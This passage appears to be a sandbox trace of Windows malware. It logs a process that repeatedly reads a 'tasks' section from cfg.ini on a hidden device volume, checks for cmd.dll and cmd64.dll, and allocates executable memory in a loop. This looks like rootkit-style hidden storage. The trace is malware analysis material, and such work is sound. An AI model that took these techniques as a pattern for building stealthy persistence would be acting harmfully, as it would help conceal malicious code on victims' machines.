_Dest="0d24eb7c\\cfg.ini") returned 16 [0127.391] KeEnterCriticalRegion () [0127.391] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.391] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035b7000 [0127.391] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.391] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.391] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.391] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.391] IdePortDispatch () returned 0x103 [0127.391] KeWaitForMutexObject () returned 0x0 [0127.391] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.391] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.391] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.391] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.391] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.391] IdePortDispatch () returned 0x103 [0127.392] KeWaitForMutexObject () returned 0x0 [0127.392] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.392] KeLeaveCriticalRegion () [0127.392] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.392] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.392] KeEnterCriticalRegion () [0127.392] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.393] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.393] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.393] KeLeaveCriticalRegion () [0127.393] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.393] KeEnterCriticalRegion () [0127.393] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.393] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.393] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.393] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.393] KeLeaveCriticalRegion () [0127.393] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.393] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.393] KeEnterCriticalRegion () [0127.393] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.393] ExFreePoolWithTag (P=0xfffffa800c4f78b0, Tag=0x0) [0127.393] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.393] KeLeaveCriticalRegion () [0127.393] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.393] ReleaseMutex (hMutex=0xf0) returned 1 [0127.393] Sleep (dwMilliseconds=0x927c0) [0127.411] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0127.411] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.411] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0127.411] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.411] KeEnterCriticalRegion () [0127.411] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.411] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.411] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.411] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.411] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0127.411] IdePortDispatch () returned 0x103 [0127.412] KeWaitForMutexObject () returned 0x0 [0127.412] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.412] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.412] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.412] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.412] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.412] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7760 [0127.412] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.412] KeLeaveCriticalRegion () [0127.412] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.412] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.412] KeEnterCriticalRegion () [0127.412] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.412] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.412] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.412] KeLeaveCriticalRegion () [0127.412] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.412] KeEnterCriticalRegion () [0127.412] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.412] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.412] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.412] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.412] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0127.412] IdePortDispatch () returned 0x103 [0127.413] KeWaitForMutexObject () returned 0x0 [0127.414] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.414] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.414] KeLeaveCriticalRegion () [0127.414] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.414] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.414] KeEnterCriticalRegion () [0127.414] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.414] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035bc000 [0127.414] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.414] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.414] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.414] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.414] IdePortDispatch () returned 0x103 [0127.414] KeWaitForMutexObject () returned 0x0 [0127.414] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.414] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.414] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.414] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.414] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.414] IdePortDispatch () returned 0x103 [0127.414] KeWaitForMutexObject () returned 0x0 [0127.415] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.415] KeLeaveCriticalRegion () [0127.415] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.415] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.415] KeEnterCriticalRegion () [0127.415] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.415] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.415] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.415] KeLeaveCriticalRegion () [0127.416] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.416] KeEnterCriticalRegion () [0127.416] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.416] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.416] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1b60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.416] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.416] KeLeaveCriticalRegion () [0127.416] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.416] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.416] KeEnterCriticalRegion () [0127.416] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.416] ExFreePoolWithTag (P=0xfffffa800c4f7760, Tag=0x0) [0127.416] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.416] KeLeaveCriticalRegion () [0127.416] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.416] ReleaseMutex (hMutex=0xf0) returned 1 [0127.416] Sleep (dwMilliseconds=0x927c0) [0127.434] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0127.434] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.434] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0127.434] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.434] KeEnterCriticalRegion () [0127.434] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.434] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.434] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.434] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.434] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0127.434] IdePortDispatch () returned 0x103 [0127.435] KeWaitForMutexObject () returned 0x0 [0127.435] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.435] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.435] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.435] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.435] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.435] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e18f0 [0127.435] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.435] KeLeaveCriticalRegion () [0127.435] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.435] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.435] KeEnterCriticalRegion () [0127.435] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.435] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.435] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.435] KeLeaveCriticalRegion () [0127.435] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.435] KeEnterCriticalRegion () [0127.435] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.435] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.435] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.435] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.435] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0127.435] IdePortDispatch () returned 0x103 [0127.436] KeWaitForMutexObject () returned 0x0 [0127.436] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.436] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.436] KeLeaveCriticalRegion () [0127.436] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.436] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.436] KeEnterCriticalRegion () [0127.436] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.436] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035c1000 [0127.436] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.436] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.436] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.436] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.436] IdePortDispatch () returned 0x103 [0127.436] KeWaitForMutexObject () returned 0x0 [0127.436] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.436] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.436] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.436] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.436] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.436] IdePortDispatch () returned 0x103 [0127.436] KeWaitForMutexObject () returned 0x0 [0127.437] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.437] KeLeaveCriticalRegion () [0127.437] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.437] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.437] KeEnterCriticalRegion () [0127.437] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.437] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.437] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.437] KeLeaveCriticalRegion () [0127.438] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.438] KeEnterCriticalRegion () [0127.438] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.438] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.438] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.438] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.438] KeLeaveCriticalRegion () [0127.438] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.438] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.438] KeEnterCriticalRegion () [0127.438] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.438] ExFreePoolWithTag (P=0xfffffa80037e18f0, Tag=0x0) [0127.438] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.438] KeLeaveCriticalRegion () [0127.438] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.438] ReleaseMutex (hMutex=0xf0) returned 1 [0127.438] Sleep (dwMilliseconds=0x927c0) [0127.457] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0127.457] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.457] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0127.458] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.458] KeEnterCriticalRegion () [0127.458] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.458] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.458] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.458] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.458] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0127.458] IdePortDispatch () returned 0x103 [0127.458] KeWaitForMutexObject () returned 0x0 [0127.458] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.458] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.458] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.458] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.458] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.458] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e1bf0 [0127.458] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.458] KeLeaveCriticalRegion () [0127.458] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.458] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.458] KeEnterCriticalRegion () [0127.458] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.458] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.458] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.458] KeLeaveCriticalRegion () [0127.458] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.458] KeEnterCriticalRegion () [0127.458] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.459] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.459] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.459] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.459] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0127.459] IdePortDispatch () returned 0x103 [0127.459] KeWaitForMutexObject () returned 0x0 [0127.459] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.459] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.459] KeLeaveCriticalRegion () [0127.459] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.459] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.459] KeEnterCriticalRegion () [0127.459] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.459] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035c6000 [0127.459] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.459] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.459] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.459] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.459] IdePortDispatch () returned 0x103 [0127.460] KeWaitForMutexObject () returned 0x0 [0127.460] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.460] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.460] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.460] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.460] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.460] IdePortDispatch () returned 0x103 [0127.460] KeWaitForMutexObject () returned 0x0 [0127.460] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.460] KeLeaveCriticalRegion () [0127.460] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.461] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.461] KeEnterCriticalRegion () [0127.461] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.461] 